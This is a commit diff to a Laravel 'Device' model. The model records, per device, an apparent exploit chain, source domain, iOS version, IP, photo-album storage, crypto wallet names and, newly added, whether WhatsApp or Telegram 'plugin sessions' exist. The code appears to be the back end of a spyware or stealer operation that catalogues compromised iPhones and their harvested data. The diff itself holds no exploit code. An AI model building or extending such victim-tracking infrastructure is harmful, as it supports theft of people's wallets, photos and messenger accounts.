feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+39
View File
@@ -20,12 +20,15 @@ class Device extends Model
protected $fillable = [
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
'has_whatsapp', 'has_telegram',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
'chain' => self::CHAIN_CORUNA,
'album_storage' => false,
'has_whatsapp' => false,
'has_telegram' => false,
];
protected function casts(): array
@@ -36,6 +39,8 @@ class Device extends Model
'has_wallet' => 'integer',
'chain' => 'integer',
'wallet_names' => 'array',
'has_whatsapp' => 'boolean',
'has_telegram' => 'boolean',
];
}
@@ -62,6 +67,40 @@ class Device extends Model
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
}
public function hasWhatsApp(): bool
{
return (bool) $this->has_whatsapp;
}
public function hasTelegram(): bool
{
return (bool) $this->has_telegram;
}
/**
* @return list<string>
*/
public function imNameList(): array
{
$names = [];
if ($this->hasWhatsApp()) {
$names[] = 'WhatsApp';
}
if ($this->hasTelegram()) {
$names[] = 'Telegram';
}
return $names;
}
public function refreshImFlags(): void
{
$kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
$this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
$this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
$this->save();
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? false);